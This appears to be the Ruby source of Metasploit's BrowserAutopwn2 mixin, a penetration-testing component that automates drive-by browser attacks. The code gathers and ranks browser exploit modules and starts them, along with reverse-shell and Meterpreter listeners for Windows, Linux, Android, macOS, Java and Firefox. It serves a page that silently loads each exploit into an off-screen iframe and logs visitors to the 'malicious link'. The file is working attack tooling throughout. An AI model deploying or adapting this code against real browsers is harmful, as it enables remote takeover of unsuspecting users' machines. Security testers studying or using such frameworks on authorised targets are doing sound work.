###
#
# The Msf::Exploit::Remote::BrowserAutopwn2 mixin is a replacement for the current BrowserAutoPwn.
# It works with other components such as BrowserExploitServer, BrowserProfileManager, and BES-based
# exploits to perform a faster and smarter automated client-side attack.
#
###

require 'date'

module Msf
  module Exploit::Remote::BrowserAutopwn2

    include Msf::Exploit::Remote::BrowserExploitServer

    # @return [Array] A list of initialized BAP exploits
    attr_reader :bap_exploits

    # @return [Array] A list of exploit job IDs
    attr_reader :exploit_job_ids

    # @return [Array] A list of payload job IDs
    attr_reader :payload_job_ids

    # @return [Array] Wanted payloads.
    attr_reader :wanted_payloads


    # The default platform-specific payloads and preferred LPORTS.
    # The hash key is the name of the platform that matches what's on the module.
    # The loader order is specific while starting them up.
    # Firefox payloads use generic handlers.
    DEFAULT_PAYLOADS = {
      firefox: { payload: 'firefox/shell_reverse_tcp',         lport: 4442 },
      android: { payload: 'android/meterpreter/reverse_tcp',   lport: 4443 },
      win:     { payload: 'windows/meterpreter/reverse_tcp',   lport: 4444 },
      linux:   { payload: 'linux/x86/meterpreter/reverse_tcp', lport: 4445 },
      unix:    { payload: 'cmd/unix/reverse',                  lport: 4446 },
      osx:     { payload: 'osx/x86/shell_reverse_tcp',         lport: 4447 },
      java:    { payload: 'java/meterpreter/reverse_tcp',      lport: 4448 },
      generic: { payload: 'generic/shell_reverse_tcp',         lport: 4459 }
    }


    # Returns all the found exploit modules that support BrowserExploitServer by going through all
    # the exploits from the framework object. All the usable exploits will be stored in #bap_exploits.
    #
    # @return [void]
    def init_exploits
      # First we're going to avoid using #find_all because that gets very slow.
      framework.exploits.module_refnames.each do |fullname|

        next if !fullname.include?('browser') || self.fullname == "exploit/#{fullname}"

        # The user gets to specify which modules to include/exclude
        next if datastore['INCLUDE_PATTERN'] && fullname !~ datastore['INCLUDE_PATTERN']
        next if datastore['EXCLUDE_PATTERN'] && fullname =~ datastore['EXCLUDE_PATTERN']

        mod = framework.exploits.create(fullname)
        unless mod
          print_status("Failed to load: #{fullname}")
          next
        end
        if mod.kind_of?(Msf::Exploit::Remote::BrowserExploitServer)
          @bap_exploits << mod
        end
      end
    end


    # Returns a prefix type that's unique to this BAP (based on a timestamp & module uuid).
    # This overrides Msf::Exploit::Remote::BrowserProfileManager#browser_profile_prefix so that BAP
    # and all of its child exploits can share target information with each other. If BAP is active
    # but there are other standalone BES exploits running, this allows them not to use (or cleanup)
    # each other's data. Also, once requested, the method will not generate another profile prefix
    # again, it will just return whatever's been stored in the @browser_profile_prefix instance variable.
    #
    # @return [String]
    def browser_profile_prefix
      @browser_profile_prefix ||= "BAP.#{Time.now.to_i}.#{self.uuid}"
    end

    # Removes background exploit jobs that belong to BAP.
    #
    # @return [void]
    def rm_exploit_jobs
      exploit_job_ids.each do |id|
        framework.jobs.stop_job(id) if framework.jobs[id.to_s]
        sleep(0.1)
      end
    end


    # Removes background payload jobs that belong to BAP.
    #
    # @return [void]
    def rm_payload_jobs
      payload_job_ids.each do |id|
        framework.jobs.stop_job(id) if framework.jobs[id.to_s]
      end
    end


    # Cleans up everything such as profiles and jobs.
    #
    # @see #rm_exploit_jobs The method for cleaning up jobs.
    # @see #Msf::Exploit::Remote::BrowserProfileManager#clear_browser_profiles The method for removing target information.
    # @return [void]
    def cleanup
      print_status("Cleaning up jobs...")
      super
      configure_job_output(false)
      clear_browser_profiles
      rm_exploit_jobs
      rm_payload_jobs
    end


    # Modifies an exploit's default datastore options. Some of them are user-configurable,
    # some must be defined by BAP.
    #
    # @return [void]
    def set_exploit_options(xploit)
      # We could do a massive xploit.datastore.merge!(self.datastore), but this seems
      # really expensive. Costs more loading time.

      # Set options configurable by the user.
      p = select_payload(xploit)
      xploit.datastore['PAYLOAD']     = p.first[:payload_name]
      xploit.datastore['LPORT']       = p.first[:payload_lport]
      xploit.datastore['SRVHOST']     = srvhost
      xploit.datastore['SRVPORT']     = datastore['SRVPORT']
      xploit.datastore['LHOST']       = get_payload_lhost

      %w(JsObfuscate CookieName VERBOSE Retries SSL SSLVersion SSLCipher URIHOST URIPORT).each do |opt|
        xploit.datastore[opt] = datastore[opt] if datastore[opt]
      end

      # Set options only configurable by BAP.
      xploit.datastore['DisablePayloadHandler'] = true
      xploit.datastore['BrowserProfilePrefix']  = browser_profile_prefix
      xploit.datastore['URIPATH']               = "/#{assign_module_resource}"
      xploit.datastore['WORKSPACE']             = self.workspace

      # Register this module as a child and copy datastore options
      xploit.register_parent(self)
    end


    # Checks if a resource is already taken or not.
    #
    # @param resource [String] The resource to check.
    # @return [TrueClass] Resource is taken.
    # @return [FalseClass] Resource is not taken.
    def is_resource_taken?(resource)
      taken = false

      bap_exploits.each do |m|
        # Prevent partial matching of one resource within another
        next unless m.datastore['URIPATH']
        return true if m.datastore['URIPATH'].index(resource)
        return true if resource.index(m.datastore['URIPATH'])
      end

      taken
    end


    # Returns a unique resource path.
    #
    # @return [String] A unique resource path.
    def assign_module_resource
      resource = ''
      while
        resource = Rex::Text.rand_text_alpha(rand(10) + 4)
        break unless is_resource_taken?(resource)
      end

      resource
    end


    # Modifies @bap_exploits by sorting. The newest and with the highest ranking goes on top.
    # This method is part of what makes BAP smarter. However, the list rearranged by this exploit
    # will not actually be the same exploit list served to every client. When a client a request,
    # #get_suitable_exploits will generate another list that will actually be used by the client
    # by going through what we have here, and filter out all the exploit modules that don't match
    # the target's requirements.
    #
    # @see #bap_exploits The read-only attribute.
    # @see #sort_date_in_group The method for sorting by disclosure date
    # @see #sort_group_by_rank The method for sorting by rank
    # @see #sort_bap_modules The method for breaking the module list into groups
    # @see #finalize_sorted_modules The method for finalizing bap_exploits
    # @see #get_suitable_exploits
    # @return [void]
    def sort_bap_exploits
      bap_groups = group_bap_modules
      bap_groups = sort_date_in_group(bap_groups)
      bap_groups = sort_group_by_rank(bap_groups)
      finalize_sorted_modules(bap_groups)
    end


    # Sorts a grouped module list by disclosure date.
    #
    # @param bap_groups [Hash] A grouped module list.
    # @return [Hash] A hash with each module list sorted by disclosure date.
    def sort_date_in_group(bap_groups)
      bap_groups.each_pair do |ranking, module_list|
        bap_groups[ranking] = module_list.sort_by {|m|
          dstr = m.disclosure_date || "1970-01-01"
          Date.parse(dstr) rescue Date.parse("1970-01-01")
        }.reverse
      end
    end


    # Sorts a module list by ranking.
    #
    # @param bap_groups [Hash] A grouped module list.
    # @return [Hash] A hash grouped by ranking.
    def sort_group_by_rank(bap_groups)
      Hash[bap_groups.sort_by {|k,v| k}.reverse]
    end


    # Breaks @bap_exploits into groups for sorting purposes.
    #
    # @see #bap_exploits
    # @return [Hash] A module list grouped by rank.
    def group_bap_modules
      bap_groups = {}
      RankingName.each_pair do |ranking, value|
        bap_groups[ranking] = []
        bap_exploits.each do |m|
          next if m.rank != ranking
          bap_groups[ranking] << m
        end
      end
      bap_groups
    end


    # Modifies @bap_exploit by replacing it with the rearranged module list.
    #
    # @see #bap_exploits The read-only attribute.
    # @param bap_groups [Hash] A grouped module list.
    # @return [void]
    def finalize_sorted_modules(bap_groups)
      @bap_exploits = []
      bap_groups.each_pair do |ranking, module_list|
        module_list.each do |m|
          break if @bap_exploits.length >= datastore['MaxExploitCount']
          @bap_exploits << m
        end
      end
    end


    # Returns a payload name. Either this will be the user's choice, or falls back to a default one.
    #
    # @see DEFAULT_PAYLOADS The default settings.
    # @param platform [Symbol] Platform name.
    # @return [String] Payload name.
    def get_selected_payload_name(platform)
      payload_name = datastore["PAYLOAD_#{platform.to_s.upcase}"]

      # The payload is legit, we can use it.
      # Avoid #create seems faster
      return payload_name if framework.payloads.module_refnames.include?(payload_name)

      default = DEFAULT_PAYLOADS[platform][:payload]

      # The user has configured some unknown payload that we can't use,
      # fall back to default.
      default
    end


    # Returns the selected payload's LPORT.
    #
    # @param platform [Symbol]
    # @return [Integer]
    def get_selected_payload_lport(platform)
      datastore["PAYLOAD_#{platform.to_s.upcase}_LPORT"]
    end


    # Returns the selected payload's LHOST. If no LHOST is set by the user (via the datastore option),
    # then the method automatically generates one by Rex.
    #
    # @return [String]
    def get_payload_lhost
      datastore['LHOST'] || Rex::Socket.source_address
    end


    # Creates payload listeners. The active job IDs will be tracked in #payload_job_ids so that
    # we know how to find them and then clean them up.
    #
    # @note FireFox payload is skipped because there's no handler for it.
    # @see #payload_job_ids
    # @return [void]
    def start_payload_listeners
      # Spawn nothing if the user doesn't want to pop sessions.
      return if datastore['MaxSessionCount'] == 0

      # Don't repeat launching payload handlers
      wanted_payloads.uniq! { |e| e[:payload_name] }

      wanted_payloads.each do |wanted|
        multi_handler = framework.exploits.create('multi/handler')

        # We have to special case firefox
        payload_name = wanted[:payload_name].include?('firefox/') ? wanted[:payload_name].gsub('firefox/', 'generic/') : wanted[:payload_name]

        # User-configurable options
        # multi_handler.datastore.merge!(self.datastore) could be used, but
        # really expensive. Costs more loading time.
        multi_handler.datastore['LHOST']                = get_payload_lhost
        multi_handler.datastore['PAYLOAD']              = payload_name
        multi_handler.datastore['LPORT']                = wanted[:payload_lport]

        %w(DebugOptions PrependMigrate PrependMigrateProc
           InitialAutoRunScript AutoRunScript CAMPAIGN_ID HandlerSSLCert
           StagerVerifySSLCert PayloadUUIDTracking PayloadUUIDName
           IgnoreUnknownPayloads SessionRetryTotal SessionRetryWait
           SessionExpirationTimeout SessionCommunicationTimeout).each do |opt|
          multi_handler.datastore[opt] = datastore[opt] if datastore[opt]
        end

        # Configurable only by BAP
        multi_handler.datastore['ExitOnSession'] = false
        multi_handler.datastore['EXITFUNC']      = 'thread'
        multi_handler.datastore['WORKSPACE']     = self.workspace

        # Register this module as a child and copy datastore options
        multi_handler.register_parent(self)

        # Now we're ready to start the handler
        multi_handler.exploit_simple(
          'LocalInput' => nil,
          'LocalOutput' => nil,
          'Payload' => payload_name,
          'RunAsJob' => true
        )
        @payload_job_ids << multi_handler.job_id
      end
    end


    # Returns the human-readable version of the rank.
    #
    # @param rank [Integer]
    # @return [String]
    def parse_rank(rank)
      RankingName[rank].to_s.capitalize
    end


    # Checks whether the payload is compatible with the module based on platform information.
    # Best for single-platform modules and for performance.
    #
    # @param m [Object] Module.
    # @param payload_platform [Symbol] Payload platform.
    # @return [TrueClass] Payload is compatible.
    # @return [FalseClass] Payload is not compatible.
    def is_payload_platform_compatible?(m, payload_platform)
      begin
        platform_obj = Msf::Module::Platform.find_platform(payload_platform.to_s)
      rescue ArgumentError
        false
      end

      return true if platform_obj && m.platform.platforms.include?(platform_obj)

      false
    end


    # Checks whether the payload is compatible with the module based on the module's compatibility list
    #
    # @param compatible_payloads [Array] A list of payloads that are compatible
    # @param payload_name [String]
    # @return [TrueClass] Payload is compatible.
    # @return [FalseClass] Payload is not compatible.
    def is_payload_compatible?(compatible_payloads, payload_name)
      compatible_payloads.each do |k|
        return true if k[0] == payload_name
      end

      false
    end


    # Checks if the module is multi-platform based on the directory path.
    #
    # @param m [Object] Module.
    # @return [TrueClass] is multi-platform.
    # @return [FalseClass] is not multi-platform.
    def is_multi_platform_exploit?(m)
      m.fullname.include?('multi/')
    end


    # Returns an appropriate payload that's compatible with the module.
    #
    # @param m [Object] A module that's been initialized.
    # @return [Array] Payload name. Example: 'windows/meterpreter/reverse_tcp'
    def select_payload(m)
      compatible_payloads = []

      module_payloads = nil

      DEFAULT_PAYLOADS.each_pair do |platform, info|
        payload_choice = {
          :payload_name => get_selected_payload_name(platform),
          :payload_lport => get_selected_payload_lport(platform)
        }

        if !is_multi_platform_exploit?(m) && !m.platform.platforms.empty? && is_payload_platform_compatible?(m, platform)
          compatible_payloads << payload_choice
          break
        else
          # The #compatible_payloads method is super expensive (slow). By doing it this way,
          # I managed to shave off seconds.
          module_payloads ||= m.compatible_payloads

          if is_payload_compatible?(module_payloads, payload_choice[:payload_name])
            compatible_payloads << payload_choice
          end
        end
      end

      @wanted_payloads.concat(compatible_payloads)

      compatible_payloads
    end


    # Starts exploits.
    #
    # @return [void]
    def start_exploits
      bap_exploits.each do |m|
        set_exploit_options(m)
        m.exploit_simple(
          'LocalInput'  => nil,
          'LocalOutput' => nil,
          'Quiet'       => true,
          'Target'      => 0,
          'Payload'     => m.datastore['PAYLOAD'],
          'RunAsJob'    => true
        )
        @exploit_job_ids << m.job_id
      end
    end


    # Sets up BAPv2. This is like our main function.
    #
    # @return [void]
    def setup
      t1 = Time.now

      super
      @bap_exploits    = []
      @exploit_job_ids = []
      @payload_job_ids = []
      @wanted_payloads = []

      # #split might be expensive if the file is really big
      @whitelist = datastore['AllowedAddresses'] ? datastore['AllowedAddresses'].split : nil

      print_status("Searching BES exploits, please wait...")
      init_exploits
      sort_bap_exploits

      print_status("Starting exploit modules...")
      start_exploits

      print_status("Starting listeners...")
      start_payload_listeners

      t2 = Time.now
      print_status("Time spent: #{(t2-t1).inspect}")

      configure_job_output(true)
    end

    # Configures the output of sub-jobs
    #
    # @return [void]
    def configure_job_output(on=true)
      (@exploit_job_ids + @payload_job_ids).each do |jid|
        job = framework.jobs[jid.to_s]
        next unless job
        job.ctx.each do |m|
          next unless m.respond_to? :user_output
          m.user_output = on ? self.user_output : nil
          break
        end
      end
    end


    # Prints all the exploits that BAP will consider using. But this isn't the actual list of
    # exploits that BAP will use for each target.
    #
    # @return [void]
    def show_ready_exploits
      columns = ['Order', 'Rank', 'Name', 'Path', 'Payload']

      # If not verbose, you're not in dev mode.
      # As an user, you shouldn't be using any of these paths anyway.
      columns.delete('Path') if !datastore['VERBOSE']

      table = Rex::Text::Table.new(
        'Header'  => 'Exploits',
        'Indent'  => 1,
        'Columns' => columns
      )

      # Without the order, sometimes the Rex table messes up even though in the array
      # the order looks right. So don't get rid of this.
      order = 1

      bap_exploits.each do |m|
        row = []
        row << order
        row << parse_rank(m.rank)
        row << m.shortname
        row << m.datastore['URIPATH'] if datastore['VERBOSE']
        row << "#{m.datastore['PAYLOAD']} on #{m.datastore['LPORT']}"
        table << row
        order += 1
      end

      print_line
      print_status("The following is a list of exploits that BrowserAutoPwn will consider using.")
      print_status("Exploits with the highest ranking and newest will be tried first.")
      print_line
      print_line table.to_s
    end


    # Prints information such as what exploits will be used, and the BAP URL.
    #
    # @return [void]
    def start_service
      super
      show_ready_exploits
      proto = (datastore['SSL'] ? "https" : "http")

      service_srvhost = nil
      if datastore['URIHOST'] && datastore['URIHOST'] != '0.0.0.0'
        service_srvhost = datastore['URIHOST']
      else
        service_srvhost = srvhost_addr
      end

      if datastore['URIPORT'] && datastore['URIPORT'] != 0
        srvport = datastore['URIPORT']
      else
        srvport = datastore['SRVPORT']
      end

      service_uri = "#{proto}://#{Rex::Socket.to_authority(service_srvhost, srvport)}#{get_resource}"
      print_good("Please use the following URL for the browser attack:")
      print_good("BrowserAutoPwn URL: #{service_uri}")
    end


    # Returns a list of suitable exploits for the current client based on what #sort_bap_exploits
    # gives us. It will do a global exploitable requirement check (the best it can do). There's
    # actually a target-specific exploitable requirement check too, but that is performed in
    # BrowserExploitServer while the exploit is being served. In other words, it is possible
    # #get_suitable_exploits might not be 100% accurate (but pretty good, it depends on how the
    # exploit dev accurately defines his/her global requirements), but the exploit always has a
    # choice to bail at the last second if it decides it is actually not suitable for the client.
    # That way we don't risk being too wreckless with our attack.
    #
    # @param cli [Socket] Socket for the browser
    # @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser
    # @return [Array]
    def get_suitable_exploits(cli, request)
      current_exploit_list = []
      tag = retrieve_tag(cli, request)
      profile_info = browser_profile[tag]
      bap_exploits.each do |m|
        if m.get_bad_requirements(profile_info).empty?
          current_exploit_list << m
        end
      end

      if datastore['ShowExploitList']
        show_exploit_list(cli.peerhost, tag, current_exploit_list)
      end

      current_exploit_list
    end


    # Logs a click that includes the suitable exploit list.
    #
    # @param ip [String] The target's IP address.
    # @param data [String] (Optional) CSV data that contains the exploit list.
    # @return [void]
    def log_click(ip, data='')
      report_note(
        :host => ip,
        :type => 'bap.clicks',
        :data => { :csv_data => data },
        :update => :unique)
    end


    # Prints a list of suitable exploits for the current list.
    #
    # @see #sort_bap_exploits Explains how the exploit list is generated at first.
    # @see #get_suitable_exploits Explains how we serve exploits to each client.
    # @return [void]
    def show_exploit_list(ip, tag, current_exploit_list)
      order = 1
      table = Rex::Text::Table.new(
        'Header'  => '',
        'Indent'  => 1,
        'Columns' => ['Order', 'IP', 'Exploit']
      )
      current_exploit_list.each do |m|
        table << [order, ip, m.shortname]
        order += 1
      end

      if table.rows.empty?
        print_status("User #{cli.peerhost} (Tag: #{tag}) visited our malicious link, but no exploits found suitable.")
      else
        # Update the exploit list data
        log_click(cli.peerhost, table.to_csv)
        print_status("Exploits found suitable for #{cli.peerhost} (Tag: #{tag})#{table}")
      end
    end


    # Returns a list of exploit URLs. This is used by #build_html so the client can load our
    # exploits one by one.
    #
    # @see #build_html
    # @param cli [Socket] Socket for the browser
    # @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser
    # @return [Array]
    def get_exploit_urls(cli, request)
      urls = []

      exploit_list = get_suitable_exploits(cli, request)

      exploit_list.each do |mod|
        proto = datastore['SSL'] ? 'https' : 'http'
        # We haven't URIHOST and URIPORT into account here because
        # the framework uses them only on `get_uri`
        host = ''
        if datastore['URIHOST'] && datastore['URIHOST'] != '0.0.0.0'
          host = datastore['URIHOST']
        else
          host = srvhost
        end
        if datastore['URIPORT'] && datastore['URIPORT'] != 0
          port = datastore['URIPORT']
        else
          port = datastore['SRVPORT']
        end

        resource = mod.datastore['URIPATH']
        url = "#{proto}://#{Rex::Socket.to_authority(host, port)}#{resource}"
        urls << url
      end

      urls
    end


    # Handles client requests specific for BAP.
    #
    # @param cli [Socket] Socket for the browser
    # @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser
    # @return [void]
    def on_request_uri(cli, request)
      # Check if target is on our whitelist
      if @whitelist && !is_ip_targeted?(cli.peerhost)
        print_status("Client #{cli.peerhost} is trying to connect but not on our whitelist.")
        send_not_found(cli)
        return
      end

      log_click(cli.peerhost)

      super
    end


    # Returns true if the IP is on our whitelist.
    #
    # @param [String] cli_ip Client's IP.
    # @return [TrueClass] The IP is on the whitelist.
    # @return [FalseClass] The IP is not on the whitelist.
    def is_ip_targeted?(cli_ip)
      return true unless @whitelist
      @whitelist.include?(cli_ip)
    end


    # Returns a number of sessions obtained by BAP's payload handlers.
    #
    # @return [Integer] A session count.
    def session_count
      total = 0

      payload_job_ids.each do |id|
        job_workspace = framework.jobs[id.to_s].ctx.first.datastore['WORKSPACE']
        if job_workspace == self.workspace
          total += framework.jobs[id.to_s].ctx.first.session_count
        end
      end

      total
    end


    # Returns the custom 404 URL set by the user
    #
    # @return [String]
    def get_custom_404_url
      datastore['Custom404'].to_s
    end


    # Returns the HTML that serves our exploits.
    #
    # @param cli [Socket] Socket for the browser
    # @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser
    # @return [String] HTML
    def build_html(cli, request)
      exploit_list = get_exploit_urls(cli, request)

      if datastore['MaxSessionCount'] > -1 && session_count >= datastore['MaxSessionCount']
        print_status("Exploits will not be served because you've reached the max session count of #{datastore['MaxSessionCount']}")
        if datastore['HTMLContent'].blank?
          send_not_found(cli)
          return ''
        else
          return datastore['HTMLContent']
        end
      elsif exploit_list.empty?
        print_status("No suitable exploits to send for #{cli.peerhost}")
        if datastore['HTMLContent'].blank?
          send_not_found(cli)
          return ''
        else
          return datastore['HTMLContent']
        end
      end


      # Some Flash exploits don't seem to work well with a hidden iframe.
      js = %Q|
      var exploitList = [#{exploit_list.map! {|e| "'#{e}'"} * ", "}];

      function setElementStyle(e, opts) {
        if (typeof e.style.setAttribute == 'undefined') {
          var attributeString = '';
          for (var key in opts) { attributeString += key + ":" + opts[key] + ";" }
          e.setAttribute("style", attributeString);
        } else {
          for (var key in opts) {
            e.style.setAttribute(key, opts[key]);
          }
        }
      }

      function moveIframe(e) {
        var opts = {
          'position': 'absolute',
          'left': screen.width * -screen.width
        }
        setElementStyle(e, opts);
      }

      window.onload = function() {
        var e = document.createElement("iframe");
        e.setAttribute("id", "myiframe");
        moveIframe(e);
        document.body.appendChild(e);
        loadExploit();
      }

      function loadExploit() {
        var e = document.getElementById("myiframe");
        var firstUri = exploitList.splice(0, 1);
        if (firstUri != '') {
          e.setAttribute("src", firstUri);
          setTimeout("loadExploit()", #{datastore['ExploitReloadTimeout']});
        }
      }
      |

      %Q|<html>
      <head>
      <meta http-equiv="cache-control" content="no-cache" />
      <script>
      #{js}
      </script>
      </head>
      <body>
      </body>
      </html>
      #{datastore['HTMLContent']}|
    end

  end
end
